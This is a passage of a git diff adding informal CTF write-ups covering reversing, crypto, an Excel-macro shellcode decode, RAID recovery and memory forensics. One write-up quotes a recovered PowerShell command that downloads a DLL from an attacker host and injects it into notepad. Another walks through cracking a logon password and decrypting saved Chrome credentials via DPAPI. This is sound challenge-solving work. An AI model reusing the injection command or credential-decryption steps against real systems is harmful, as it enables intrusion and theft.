0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 196, 182, 72, 102, 37, 214, 250, 240, 211, 193, 251, 206, 179, 194, 23, 99, 88, 217, 216, 191, 130, 131, 52, 44, 174, 146, 211, 48, 39, 39, 20, 57, 144, 169, 11, 154, 215, 56, 164, 22, 46, 39, 71, 75, 208, 173, 225, 77, 2, 20, 34, 143, 222, 168, 158, 127, 15, 126, 143, 42, 125, 18, 239, 27]) + +def extract(data): + ops = [] + for i in range(0, 44, 4): + ops += [int.from_bytes(data[i:i+4], byteorder='little')] + return (ops, data[44:]) + +def reverse(data): + ops, data = extract(data) + print(ops, data) + for op in ops[::-1]: + if op == 1: + print('reverse') + data = data[::-1] + if op == 2: + print('xor') + data = bytes([b ^ 0xD for b in data]) + return data + +cipher = AES.new(reverse(key), AES.MODE_CTR) +print(cipher.decrypt(reverse(flag))) +``` + +ops is reversed coz i thought the 0 at the end is the initialization stage so it makes sense to go backwards to the front + +but hmmm this doesnt work it only spews out scrambled data + +theres 3 main uncertainties here even if my assumption is correct - whether ops needed to be reversed, whether op 1 and op 2 does map to reverse and xor respectively and not the other way around, and the AES mode that rust used, which i guessed to be CTR from the docs and how theres no IV https://docs.rs/aes/0.7.2/aes/index.html + +but no even though i tried testing different combinations out with GCM mode and flipping ops etc its still always scrambled + +so welp guess its time to run a debugger + +so when i was trying to see how the ops get prepended i suddenly thought why not test out decryption first since i know exactly the key and the flag i put in the debugger + +and aha both GCM and CTR doesnt work + +the only common mode left is CBC so i tried it with all 0 iv coz theres no input so i assumed its all 0 +```py +#sanity check from debugging for what algo is used by rust - turns out its not GCM nor CTR as said here lmfao https://docs.rs/aes/0.7.2/aes/index.html + +key = bytes([0x22, 0xFC, 0x5C, 0x75, 0x34, 0x2D, 0x16, 0x2E, 0x35, 0xB8, 0xBA, 0x01, 0x14, 0x59, 0x07, 0x27, 0x47, 0x4C, 0x6B, 0x73, 0xE8, 0x34, 0x07, 0xAA, 0x75, 0xFE, 0x67, 0xEF, 0x41, 0xBA, 0x5F, 0x89]) +cipher = AES.new(key, AES.MODE_CBC, b'\0'*16) +print(cipher.encrypt(b'\0'*16).hex()) # should match 9D 4C 33 E3 F8 BC 55 FF E7 27 62 18 A1 E0 3F 78 +``` + +LOL it actually is CBC so i instantly tried it out in the script and dang there it is my assumptions were spot on `b"HTB{ru5t_h45_t4g\xa3\x85,9\x16\xb8\x8f\x9d\xe6\x9e\xcf\xa0\xd7\x9dc\x0bk\xa0\xaa\x8c\xdd\xf3F\x1f\xda\xe6\xaaoD\x17$U\xed\xa3\x0b\x9a\xd78\xa4\x16.'GK\xd0\xad\xe1M"` + +the latter parts are still garbage which i expected coz they split the flag into chunks of 16 bytes and run it through encrypt every time while i encrypted it entirely in a single chunk + +so i rewrote the script for it and ey `b'HTB{ru5t_h45_t4gg3d_3num5_4nd_th3yr3_pr3tty_c00l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'` ez flag + +final script: +```py +from Crypto.Cipher import AES + +key = bytes([2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 101, 19, 249, 222, 49, 245, 116, 246, 138, 161, 222, 65, 116, 18, 61, 227, 218, 154, 107, 172, 132, 119, 92, 126, 137, 33, 97, 243, 195, 200, 118, 12]) +flag = bytes([2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 196, 182, 72, 102, 37, 214, 250, 240, 211, 193, 251, 206, 179, 194, 23, 99, 88, 217, 216, 191, 130, 131, 52, 44, 174, 146, 211, 48, 39, 39, 20, 57, 144, 169, 11, 154, 215, 56, 164, 22, 46, 39, 71, 75, 208, 173, 225, 77, 2, 20, 34, 143, 222, 168, 158, 127, 15, 126, 143, 42, 125, 18, 239, 27]) + +def extract(data): + ops = [] + for i in range(0, 44, 4): + ops += [int.from_bytes(data[i:i+4], byteorder='little')] + return (ops, data[44:]) + +def reverse(data): + ops, data = extract(data) + print(ops, data) + for op in ops[::-1]: + if op == 1: + print('reverse') + data = data[::-1] + if op == 2: + print('xor') + data = bytes([b ^ 0xD for b in data]) + return data + +realflag = b'' +enc = reverse(flag) + +for i in range(0, len(enc), 16): + cipher = AES.new(reverse(key), AES.MODE_CBC, b'\0'*16) + realflag += cipher.decrypt(enc[i:i+16]) +print(realflag) +``` + + +### freaky forum interception + +an amalgamation of 5 languages in 1 chall yikes + +at least its typical crackme style with stages + +so im gonna list them out using that too + +but first setup things + +the program requires both `libpython3.10.so.1.0` and `libjvm.so` + +libjvm.so exists in `/usr/lib64/jvm/java-11/lib/server/`, but libpython3.10 doesnt since we only have python 3.6, and i dont wanna do a system upgrade + +so time to grab it from a deb or sth and use that + +except glibc 2.35 is needed yikes and the linker trick doesnt work for preload modules + +so i had to find libpython3.10 thats compiled for glibc <=2.32 and oh boy that was a long ass scavenger hunt i spent 2 hours back and forth from package manager to package manager + +and finally i found one in rpm and with `rpm2cpio ./python3.10-3.10.0~b1-1.fc32.x86_64.rpm | cpio -idmv ./usr/lib64/libpython3.10.so.1.0` i can grab the libpython3.10 file + +time to move on to the actual reversing +
+ +**base check (c)** + +- simple c pretty much, so it was really straightforward + - flag must be wrapped in `HTB{}` + - flag must have 4 segments aka 3 `_`s + - flag is then separated into 4 segments for each of the other language check + +**golang check** + +- golang is even more painful than rust in that theres even more runtime stuff thats dynamically linked so you cant trace it + +- but eventually through tracing with a debugger i got to the actual check and its called `main_GoCheck` lol + +- the only thing i can see is that its comparing the length of main_g with the segment length and thats it even though theres `main_Oracle` which i thought must be involved in the check + +- but no looks like all strings lengthed 7 passes the check lol + +- i noticed the data in main_g looks like ascii so i decoded all of them and they became `tgt13gn` which doesnt look right but whatever time to move on for now + +- eventually i had to fix it after passing all the checks and my word scrambler brain kicked into play lmao its `g3tt1ng` + +- (and long after i solved the chall i realized the tuples encode the character position in the string too lmao so i can unscramble using those but oops i completely ignored it) + +**rust check** + +- mmmmm dont you love reversing rust + +- at this point i met enough rust challs that i can identify what is boilerplate what is logic good enough that its feeling more like c++ to me which is good + +- but to be honest this rust check is hardly any true rust anyway its just a lot of if checks that do some weird computation after adding or multiplying the characters + +- it was really confusing though still coz i had no idea what those computation was trying to do and i completely missed one of the checks inside on of the `spec_from_iter` rust calls which took me the longest to reverse coz i had to map out how it was iterating over the string into the values to be compared by `bcmp` and debugging didnt really help so i had to rename a lot of stuff to help visualize it statically + +- after adding all the checks i still couldnt get it to spew out a correct looking segment so i was squinting really hard at the script to see what could go wrong + +- and i remembered the weird `Int2BV` and `BV2Int` truncation (all values computed after BV2Int will be truncated to the size of the BV including the comparison int) that might happen so i added them in respectively and eyy it worked + ```py + from z3 import * + s = Solver() + + chrs = [BitVec('char-' + str(i), 8) for i in range(6)] + + #first check for each chr + for c in chrs: + s.add((Int2BV(32 * If(c - 65 < 26, 1, 0), 8) & ~c) == 0) + #manual checks for printable ascii + s.add(c > 0x20) + s.add(c < 0x7d) + + #last check in first chunk of ifs + s.add(chrs[0] + chrs[1] + chrs[2] + chrs[3] + chrs[4] + chrs[5] == 547) + + #from spec_from_iter bcmp check + match = [0xDF, 0xDD, 0x67] + for i in range(3): + s.add(chrs[i] + chrs[5-i] == match[i]) + + #dont forget to BV2Int or weird things happen lol prob coz of truncation + s.add((BV2Int(chrs[5]) + 3 * (BV2Int(chrs[4]) + 3 * (BV2Int(chrs[3]) + 3 * (BV2Int(chrs[2]) + 3 * (BV2Int(chrs[1]) + 3 * BV2Int(chrs[0])))))) == 36307) + + s.check() + print("".join([chr(s.model()[c].as_long()) for c in chrs])) + ``` + +**python check** + +- aha guess what you thought the libpython3.10 problem is done + +- nonono now you get a segfault for no reason + +- turns out i also need PYTHONHOME and PYTHONPATH or else it cant find module `encoding` and using 3.6 as path dies with sysconfig sth not found so guess i gotta unpack the entire 200MB of python files or sth now + +- i ran out of space too it was so painful but hey at least i fixed the sysconfig not found issue + +- but lol you think thats all nonono have another segfault + +- turns out the module `random` was not found and was returning null so the program was dereferencing null ptr + +- at this point i got so fed up trying to run the program i just extracted all the python from it using the same analysis i did with arista chall + +- and it was painfully simple lol give me back my 2 hours + ```py + import random + secret = [0x22, 0xAF, 0x2D, 0x26, 0x3B] + + random.seed(31337) + + flag = b'' + + for c in secret: + flag += bytes([c ^ random.randrange(256)]) + + print(flag) + ``` + +**java check** + +- cant really read what the JNI stuff is doing coz theres a bit of dynamic calls and theres no debug symbols for the vm struct but i can guess whats happening + +- looks the the program embedded a class into the global var Class and Class_size is the size for it which matches the size of the class file + +- so we just need to extract that into a class file, rename it, zip it and let enigma decompile it lol + +- its another set of equations that we gotta match to get the flag so im just gonna continue using z3 + ```py + #extract class + with open('ffi', 'rb') as file: + clazz = file.read()[0x19F722:0x19F722+0x752] #Class with Class_size + with open('extracted.class', 'wb') as out: + out.write(clazz) + #compute + from z3 import * + chrs = [BitVec('char-' + str(i), 8) for i in range(9)] #one larger than data + + data = [219, 227, 209, 154, 104, 97, 158, 163] + + s = Solver() + + for c in chrs: + s.add(c > 0x20) + s.add(c < 0x7d) + + for i in range(len(chrs)-1): + s.add(chrs[i] + chrs[i+1] == data[i]) + + print("".join([chr(s.model()[c].as_long()) for c in chrs])) + ``` + +- which gave us a weird string `qjyXB&;c@` thats not leetspeak but still satisfies the java check for some reason and thats not the flag indeed so i assumed its another golang issue where the check aint complete + +- so i changed it to spew out all possible strings and manually get the right one lol + ```py + while str(s.check()) == 'sat': + print("".join([chr(s.model()[c].as_long()) for c in chrs])) + s.add(Or([c != s.model()[c] for c in chrs])) + ``` + +and finally merging them all and we get `HTB{g3tt1ng_fr34ky_u51Ng_func710n5}` + + +i like how aside from snakecode from the previous day i solved all rev challs in a single day lol +* * * + +### free services + +this shouldnt be in forensics lol this should be in rev as warmup + +when you open the excel the macro sheet literally shows up first + +so its just about learning excel macro syntax and translating it into python + +it looks like its shellcode with the createthread stuff which might be dependent on the excel process memory space its running off on, but hey lets just march on first +```py +print(bytes([b^24 for b in [228, 54, 240, 244, 154, 233, 24, 216, 24, 9, 24, 172, 120, 252, 145, 15, 253, 103, 41, 52, 216, 214, 124, 244, 147, 90, 72, 198, 40, 53, 147, 70, 74, 93, 20, 118, 147, 240, 74, 88, 12, 91, 147, 224, 106, 217, 48, 114, 23, 217, 175, 22, 82, 188, 62, 217, 41, 191, 231, 130, 180, 150, 36, 18, 121, 235, 100, 52, 26, 39, 52, 99, 56, 231, 217, 29, 215, 212, 21, 77, 25, 70, 223, 58, 250, 130, 234, 247, 74, 183, 79, 8, 147, 196, 74, 207, 8, 147, 147, 221, 82, 111, 36, 212, 147, 24, 84, 57, 9, 21, 96, 90, 251, 186, 80, 23, 25, 29, 201, 163, 73, 89, 147, 39, 65, 52, 56, 79, 25, 250, 203, 45, 147, 245, 81, 57, 0, 194, 251, 105, 34, 130, 81, 176, 147, 95, 44, 156, 147, 108, 25, 122, 206, 187, 41, 40, 231, 211, 180, 34, 217, 244, 215, 235, 21, 61, 25, 146, 223, 113, 32, 238, 248, 39, 109, 247, 238, 137, 27, 205, 101, 61, 224, 27, 35, 156, 101, 40, 60, 88, 109, 241, 252, 109, 64, 211, 147, 104, 64, 202, 60, 190, 25, 194, 203, 28, 126, 168, 147, 121, 20, 239, 83, 255, 147, 175, 64, 158, 4, 157, 25, 125, 203, 139, 147, 78, 28, 32, 147, 126, 25, 72, 200, 228, 145, 103, 92, 103, 60, 254, 60, 12, 67, 151, 67, 134, 121, 48, 65, 92, 66, 244, 73, 163, 231, 146, 248, 121, 71, 35, 71, 53, 66, 79, 147, 219, 10, 153, 243, 74, 149, 217, 69, 120, 114, 172, 25, 6, 149, 246, 157, 176, 170, 245, 24, 217, 24, 119, 24, 163, 72, 95, 112, 127, 41, 153, 147, 72, 119, 147, 159, 202, 231, 251, 205, 27, 163, 56, 232, 179, 173, 96, 186, 25, 78, 9, 112, 255, 190, 173, 141, 103, 165, 169, 133, 54, 231, 63, 205, 144, 36, 219, 30, 250, 100, 120, 18, 240, 152, 183, 227, 103, 248, 110, 109, 47, 29, 205, 163, 162, 95, 175, 11, 46, 106, 56, 119, 199, 114, 67, 24, 164, 75, 12, 231, 114, 205, 66, 74, 73, 93, 180, 95, 147, 56, 79, 89, 69, 92, 104, 92, 177, 56, 66, 58, 238, 80, 160, 83, 199, 84, 79, 85, 70, 68, 233, 75, 43, 87, 54, 94, 210, 76, 167, 79, 30, 89, 47, 74, 231, 93, 111, 68, 133, 85, 81, 113, 64, 123, 155, 106, 49, 119, 54, 107, 16, 119, 19, 126, 148, 108, 112, 68, 40, 79, 123, 113, 200, 118, 207, 124, 56, 119, 232, 111, 151, 107, 235, 56, 223, 86, 82, 76, 154, 68, 186, 91, 87, 109, 75, 106, 57, 106, 197, 125, 139, 118, 240, 108, 123, 78, 169, 125, 160, 106, 131, 107, 132, 113, 71, 119, 221, 118, 193, 68, 251, 81, 70, 117, 105, 121, 107, 127, 161, 125, 64, 56, 138, 94, 145, 113, 94, 116, 152, 125, 57, 56, 86, 93, 64, 96, 205, 125, 44, 123, 226, 109, 253, 108, 23, 113, 233, 119, 117, 118, 251, 56, 33, 87, 134, 104, 170, 108, 148, 113, 60, 119, 215, 118, 143, 107, 21, 68, 233, 109, 68, 108, 190, 113, 181, 116, 141, 117, 120, 121, 132, 118, 150, 54, 99, 125, 217, 96, 132, 125, 213, 58, 227, 56, 174, 55, 229, 108, 67, 56, 29, 74, 57, 93, 2, 95, 36, 71, 80, 75, 154, 66, 96, 56, 56, 55, 146, 110, 65, 56, 197, 92, 243, 125, 194, 122, 246, 109, 3, 127, 180, 127, 209, 125, 123, 106, 121, 56, 224, 55, 243, 124, 71, 56, 19, 58, 142, 91, 232, 34, 43, 68, 16, 111, 171, 113, 236, 118, 25, 124, 212, 119, 24, 111, 78, 107, 2, 68, 129, 107, 113, 97, 73, 107, 31, 108, 183, 125, 200, 117, 78, 43, 234, 42, 46, 68, 115, 123, 76, 117, 196, 124, 116, 54, 135, 125, 37, 96, 122, 125, 156, 58, 7, 56, 133, 55, 79, 126, 153, 35, 83, 125, 118, 123, 250, 112, 51, 119, 160, 56, 238, 58, 11, 80, 62, 76, 28, 90, 79, 99, 48, 41, 9, 107, 217, 71, 27, 108, 18, 112, 8, 41, 10, 107, 98, 71, 45, 127, 135, 44, 219, 116, 134, 44, 126, 96, 91, 97, 239, 71, 150, 116, 51, 40, 190, 107, 216, 108, 73, 71, 98, 41, 30, 118, 79, 71, 100, 108, 66, 41, 81, 117, 41, 43, 144, 39, 8, 39, 100, 57, 150, 101, 133, 58, 46, 24, 187][::2]])) +``` + +except this one liner already yields us the flag embedded in the shellcode in plain text lmaoooo + +guess the `[::2]` is needed coz of ``=SELECT(, "RC[2]"")` + +`HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}` + + + +### intergalactic recovery + +technically this was started before free service but i got so fed up with debugging the raid script i went to solve free service instead lmfao and i got it in a heartbeat + +tl;dr painfully trying to recreate the raid 5 structure and failing until realizing mdadm raid superblock exists and i can just mount it with mdadm to grab the flag + +most of the raid solutions online are paid, so i couldnt really use them + +so its time to hunt for a raid script that might help but its so hard to find for some reason + +finally settled on https://github.com/codysoyland/pyraid but even this had a lot of problems (in fact im pretty sure i either broke sth or its originally already broken that its still not usable to recover mdadm arrays even with the information presented in there lmao) namely no recovery using parity so i had to code that myself + +eventually i actually got the linux filesystem repaired that testdisk can recognize it and even list out the files in the disk + +but no matter what params i try with it i always end up getting bad pdfs or no pdfs with photorec + +so i tried making a script that scans for the pdf metadata that i know must exist for the file to be complete and then brute forced the stripe size and offsets and even disk ordering + +but still none of them gave more than a strip of weird color in image in the pdf + +so i practically gave up until i was talking to [@ko](https://maplebacon.org/authors/ko/) about how if we can find a header in the file then we can probably math our way out + +and i realized since i saw `md0` back when i first `strings`'d the disks it should be a linux raid + +and that turned out to have a superblock which matches exactly at `0x1000` with the `longnte:md0` string in the name field for both disk1 and disk2 according to https://raid.wiki.kernel.org/index.php/RAID_superblock_formats + +so i started extracting the array information and plugging it into pyraid to recover the disk + +except it STILL didnt work so i tried to verify using `mdadm --examine /dev/loop8` after mounting the drives with `sudo losetup /dev/loop8 forensics_intergalactic_recovery/disk1.img` for both of the good ones + +didnt work, but i noticed how the magic header for the superblock is gone, so i added it back in with vim's `:%!xxd`, `i`, edit, ctrl-c, then `:%!xxd -r`, and finally `:Wq` to write hex data on command line + +and now mdadm actually recognizes the drives + +while i was looking at the values (which matched the ones i manually extracted) i thought hey since mdadm already can recognize it whats stopping it from letting me make an array with it and mount which should handle the parity calculation for me + +so i did `sudo bash -c 'mdadm --detail --scan >> /etc/mdadm/mdadm.conf'` (which idk if its needed but "fixes" the not found in config issue) (jk it doesnt coz INACTIVE_ARRAY is not recognized) and then `sudo mdadm --assemble --force --verbose /dev/md127 /dev/loop8 /dev/loop9` to assemble the drives + +turns out they were already set up???? idk how but i had to `sudo mdadm --stop /dev/md127` to stop them + +then its just mounting and verifying if the file exists as testdisk said with `sudo mount ./mount /dev/md127` and `file ./mount/imw_1337.pdf` and eyy it does + +copying it to my laptop and opening it gives us the full image with the flag `HTB{f33ls_g00d_t0_b3_1nterg4l4ct1c_m0st_w4nt3d}` in it + +still sad i cant get the pyraid script working though it would help so much in other forensics situations if i have a working script tbh coz i dont think most tools support using raw images + + +### reflection + +whew windows memory dump!!!! finally some good memory forensics!!!!!! + +thank god its an old Win7SP1x86 instance lol didnt have to do wacky profile stuff and i can use volatility 2 too + +usual `kdbgscan` for sanity check + +`pslist` for sus apps, but none looks too intersting aside from vboxtray that says its a virtual box vm guest and cygwin server + +which made me think huh what if i scan commands instead with `cmdscan` + +aha a powershell command `C:\Windows\security\update.ps1` which is kinda sus and there aint other commands issued either aside from an sshd thing + +so time to dig into that powershell file with filedump + +`filescan | grep update.ps1` to grab the offset, then `dumpfiles -Q 0x000000003f4551c0` to grab the actual powershell script file + +its kinda funny how its 4MB large and vscode refused to open coz volatility dumped everything in the memory page including the null bytes lmao + +either way `Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad` EY `windowsliveupdater.com` from the older forensics chall means we definitely are on the right track + +not to mention ***Reflective***PEInjection anyway + +i cant find the `https://windowsliveupdater.com/sysdriver.ps1` that it loads in memory but it turned out to be the script for the command https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 + +reading the source for that ps1 it looks like it injects the dll into notepad.exe memory without linking, aka `dlldump` wont work and indeed it didnt when i tested + +however i can ollydumpex if thats the case since dont forget unity dlls are also unlinked and ive dumped a ton of those lol (coughcoughiwonderwhatitiscough) + +so time to load into windbg/IDA after running `raw2dmp` on the raw memory dump + +then the usual `.process /p /r` stuff from arcade modding days (use `.sympath srv*https://msdl.microsoft.com/download/symbols` though coz IDA look for local symbols only by default) + +except ntdll header died and no symbols can be found so `lm` didnt work :( + +so back to volatility + +i tried to `memdump` and `memmap` to understand whats happening in the process, but they were all `0x1000` chunks pretty much which didnt feel right + +i did find `winmgr_x86.dll` while `strings -t x -10 3244.dmp` though (oh and offset param `-o` in mingw somehow defaults to octal lol made me so confused for a while) + +then i remembered `vaddump` is a thing for better process mapping like the one i know in ollydumpex + +so i dumped all the files and looked into the one with virtual offset matching the `memmap` dump file offset that `strings` showed which is in the region 0xb0000-b3fff + +and well since i have no idea what to do next i might as well look around near that string + +it was mainly 0s but somehow theres a huge pile of data in one small chunk not long after the winmgr_x86.dll that has discernable pattern so i throwed it into [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64(%27A-Za-z0-9%2B/%3D%27,true)Find_/_Replace(%7B%27option%27:%27Regex%27,%27string%27:%27%5B%5Ea-zA-Z%5D%27%7D,%27%27,true,false,true,false)Find_/_Replace(%7B%27option%27:%27Regex%27,%27string%27:%27E%27%7D,%27%27,true,false,true,false)&input=Vll2c2creDR4a1dJY01aRmlXL0dSWXAzeGtXTFpjWkZqSExHUlkxenhrV09hTVpGajJYR1JaQnN4a1dSYk1aRmtpREdSWk10eGtXVVpjWkZsWERHUlpZZ3hrV1hZc1pGbUhuR1JabHd4a1dhWWNaRm0zUEdSWnh6eGtXZElNWkZuaTNHUlo5bHhrV2dic1pGb1dQR1JhSWd4a1dqV3NaRnBGSEdSYVZDeGtXbWFzWkZwMEhHUmFoSHhrV3BaOFpGcWtIR1JhdGl4a1dzZDhaRnJVSEdSYTVueGtXdlFjWkZzRVhHUmJGbnhrV3lRY1pGczFiR1JiUkJ4a1cxUXNaRnRrUEdSYmRCeGtXNFNNWkZ1WFBHUmJwQnhrVzdXc1pGdkVIR1JiMUN4a1crYzhaRnYwSEdSY0JIeGtYQmQ4WkZ3a0hHUmNOanhrWEVkOFpGeFVMR1JjWm14a1hIUWNaRnlFZkdSY2xOeGtYS1FjWkZ5MDdHUmN4QnhrWE5Rc1pGem5YR1JjOUJ4a1hRUnNaRjBUakdSZEpCeGtYVFdjWkYxR2ZHUmRWQnhrWFdlc1pGMTBIR1JkaEd4a1haT01aRjJrSEdSZHRoeGtYY1FjWkYzVUhHUmQ0d3hrWGZRY1pGNEVqR1JlRkp4a1hpUWNaRjQxckdSZVJCeGtYbFFzWkY1bWJHUmVkQnhrWG9TTVpGNlZIR1JlcEJ4a1hyVGNaRjdFSEdSZTFDeGtYdVpzWkY3MEhHUmZCSHhrWHhXY1pGOGtIR1JmTk54a1gwVWNaRjlVTEdSZloxeGtYM1FjWkYrRWZHUmZsUnhrWDZRY1pGKzJiR1JmeFJ4a1g5UWNaRi9qMXFBSTFGaUZEL0ZRQWdDd0NMNVYwPQ) + +and eyo thats a powershell command and a base64 encoded string so time to decode that + +but i keep getting `echo` only which is definitely not the whole string so something is off with my analysis + +so i probably have to really get the dll analysed + +i remembered in the src of that powershell cmd that theres zero out `MZ`, so i patched it back in for IDA to recognize it and loaded it in + +but it was all 0s for some reason + +so i looked into it with CFF explorer and saw the OEP which looks good coz it matches the part where i see data and not 0s in hex editor + +so its probably the section raw addresses thats broken + +IDA's the physical offset of the OEP (0x650) matches the section offset 0x400 shown in CFF explorer so that means i just gotta shift all sections to the actual file offset `0x1000` onwards (possibly due to how this is straight up extracted from memory so the file offsets are virtual not physical) + +and eyyy some data finally loaded in and its the part i manually disassembled too + +the stuff i saw was also disassembled in the text section but not as a function + +except i can clearly see the assembly loading in characters owo + +and it says powershell right there too time to assemble it as a function and decompile it + +and eyy the base64 string is longer than the one i had and it gives the actual flag as echo param now + +turns out i removed 1 too many Es from the cyberchef scuffed analysis i did LOL `ZQBjAGgAbwAgAgAVABCAHsAZABsAGwAcwBfAGMANABuAF8AYgAzAF8AaAA0AHIAZABfAHQAMABfAGYAMQBuAGQAfQA` vs `ZQBjAGgAbwAgAEgAVABCAHsAZABsAGwAcwBfAGMANABuAF8AYgAzAF8AaAA0AHIAZABfAHQAMABfAGYAMQBuAGQAfQA=` + +welp heres the flag `HTB{dlls_c4n_b3_h4rd_t0_f1nd}` + +if only ntdll loaded in i wouldnt have second guessed myself so many times with ollydumpex sadge + + +### seized + +[@Ray](https://maplebacon.org/authors/Ray/) said its related to chrome, so i digged around in the files and found `Login Data` which does indeed have windowsliveupdater for saved passwords + +but the password is encrypted using the usual chrome method + +so i looked into tools that can break it maybe and i found https://github.com/moonD4rk/HackBrowserData which got flagged so many times lmfao + +doesnt work either coz it uses CryptProtectData which ended up using DPAPI anyways according to the chromium source https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc + +which doesnt seem too breakable to me at the time so i went to look into other methods instead like snooping around for other programs that mightve leaked the creds + +found covenant C&C creds from chrome, but nothing special so i gave up for a while + +after a few days [@Em]() came in talking about the dpapi stuff again so i looked around for info again to respond with + +then i found https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 which mentioned the masterkey is stored in appdata + +thats a huge red flag in my mind so i suddenly got a lot of drive to investigate again lol + +eventually it looks like the only thing we need is the user logon password then we can decrypt with https://github.com/tijldeneut/dpapilab-ng (i originally found the old ver which is python 2 which didnt want to run on my laptop but same gist) + +[@Ray](https://maplebacon.org/authors/Ray/) found out john can crack user logon password with masterkey https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py, which is way faster than the tool mentioned in passcape + +so while hes running the brute force i looked around for any stored user creds in the same way masterkey is stored but nope no luck + +but [@Ray](https://maplebacon.org/authors/Ray/) got the password really quick lol it was `ransom` + +so time to plug it into dpapilab and test it out + +`python mkudec.py ..\forensics_seized\AppData\Roaming\Microsoft\Protect\S-1-5-21-3702016591-3723034727-1691771208-1002 --password 'ransom'` actually decrypted it eyy thats a good sign + +now i just need to decrypt the actual blob so i looked and found `blobdec.py` which didnt really want to work on the blob i copied from what boomer said which is extracted from the `Login Data` sqlite db + +so time to look for ways to fix it + +or nope theres literally `browserdec.py` in the same toolset lmfao so with a really long command `python browserdec.py --mkfile ..\forensics_seized\AppData\Roaming\Microsoft\Protect\S-1-5-21-3702016591-3723034727-1691771208-1002\865be7a6-863c-4d73-ac9f-233f8734089d --password 'ransom' --loginfile '..\forensics_seized\AppData\Local\Google\Chrome\User Data\Default\Login Data' --statefile '..\forensics_seized\AppData\Local\Google\Chrome\User Data\Local State' -v` we can get the flag without much hassle eyy + +`HTB{Br0ws3rs_C4nt_s4v3_y0u_n0w}` \ No newline at end of file diff --git a/ctfs/comments/m0lecon22.md b/ctfs/comments/m0lecon22.md new file mode 100644 index 0000000..8b7cd79 --- /dev/null +++ b/ctfs/comments/m0lecon22.md @@ -0,0 +1,245 @@ +### crackme + +actually quite fun tbh it had 4 stages of checking of increasing difficulty (well technically the last one was a cliff lmfao) + +quite easy to figure out what the first 3 is doing - 80 characters, all uppercase, which iteratively splits into 5 strings ('abcdeabcde' -> 'aa bb cc dd ee'), and at most 3 characters can be matching the strings around it (pairwise check) + +main pain comes from the last check - it has rand in it, bunch of xors and checks, and expects all 5 arrays to pass + +but wait the rand is run 999999 times so technically any case should be run so do we need to get all 16 characters of an array to permutate xors and still result in 0 that never happens + +i even wrote a z3 script to prove it +```py +from z3 import * +import itertools + +t = [] + +t += [BitVec('t1', 8)] +t += [BitVec('t2', 8)] +t += [BitVec('t3', 8)] +t += [BitVec('t4', 8)] +t += [BitVec('t5', 8)] +t += [BitVec('t6', 8)] +t += [BitVec('t7', 8)] +t += [BitVec('t8', 8)] +t += [BitVec('t9', 8)] +t += [BitVec('t10', 8)] +t += [BitVec('t11', 8)] +t += [BitVec('t12', 8)] +t += [BitVec('t13', 8)] +t += [BitVec('t14', 8)] +t += [BitVec('t15', 8)] +t += [BitVec('t16', 8)] + +def pairwise(iterable): + a, b = itertools.tee(iterable) + next(b, None) + return zip(a, b) + +def triplewise(iterable): + "Return overlapping triplets from an iterable" + # triplewise('ABCDEFG') -> ABC BCD CDE DEF EFG + for (a, _), (b, c) in pairwise(pairwise(iterable)): + yield a, b, c + +s = Solver() + +# for i in t: +# s.add(i >= ord('A')) +# s.add(i <= ord('Z')) + +for i, j in pairwise(t): + s.add(i ^ j == 0) + +for i, j, k in triplewise(t): + s.add(i ^ j ^ k == 0) + +s.check() +print(s.model()) +``` + +is unsat even when its just triple + +if you think about it ofc its unsat x ^ x = 0 but x ^ x ^ x = x so odd amounts never result in 0 + +but wait im assuming too much of how this binary works look at `v20 = v20 && v29 > 0;` + +since we are applying that 999999 times that means if `v29` is 0 even just once we get `v20` as 0 which passes the check for that one array + +so i went to work grabbing pairs from the xor that matches so we can get a 0 + +but i was working on bytes instead of ints which is why the values didnt work even though they matched + +and turns out none of the ints match or can ever be negative either the most significant nibble is always 0 which means we cant xor it to negative + +so we will have to find a path that xors multiple integers to get a 0 + +was gonna do it manually, but it looks painful staring at 1s and 0s so i wrote another DFS for it + + +```py +vals = [ +0x38, 0x82, 0x97, 0x1F, 0xD1, 0x2E, 0xD4, 0x1B, 0x98, 0x72, 0x4C, 0x07, 0x08, 0x7F, 0xBC, 0x09, +0xFA, 0xE1, 0x0F, 0x29, 0xF5, 0xE5, 0x7F, 0x12, 0x60, 0x24, 0xAC, 0x36, 0x1B, 0xE5, 0xD7, 0x3C, +0x69, 0x9E, 0xAB, 0x36, 0x55, 0xFA, 0xC6, 0x2B, 0x11, 0xE3, 0x52, 0x07, 0x80, 0xAF, 0x06, 0x0B, +0xF0, 0xFC, 0x28, 0x3C, 0x5B, 0xC3, 0xD6, 0x07, 0x83, 0x2B, 0x49, 0x1C, 0xFE, 0x8A, 0xC6, 0x21, +0x4F, 0x48, 0x27, 0x30, 0xE1, 0xD0, 0xD2, 0x37, 0x62, 0x32, 0x53, 0x30, 0x66, 0xB1, 0xA9, 0x28, +0x97, 0x43, 0x2F, 0x04, 0x74, 0xB8, 0x01, 0x2F, 0xA0, 0x69, 0xC5, 0x37, 0xD4, 0x8F, 0x45, 0x17, +0x1E, 0xE4, 0xB3, 0x00, 0xAC, 0x46, 0x73, 0x3C, 0x10, 0x03, 0x6D, 0x16, 0x49, 0x44, 0x96, 0x06, +0x78, 0x08, 0xFD, 0x12, 0xF0, 0xF3, 0xD6, 0x2B, 0xF9, 0x85, 0x75, 0x29, 0x43, 0xF0, 0xE0, 0x0A, +0x05, 0xD2, 0x83, 0x09, 0x94, 0x6E, 0xE8, 0x33, 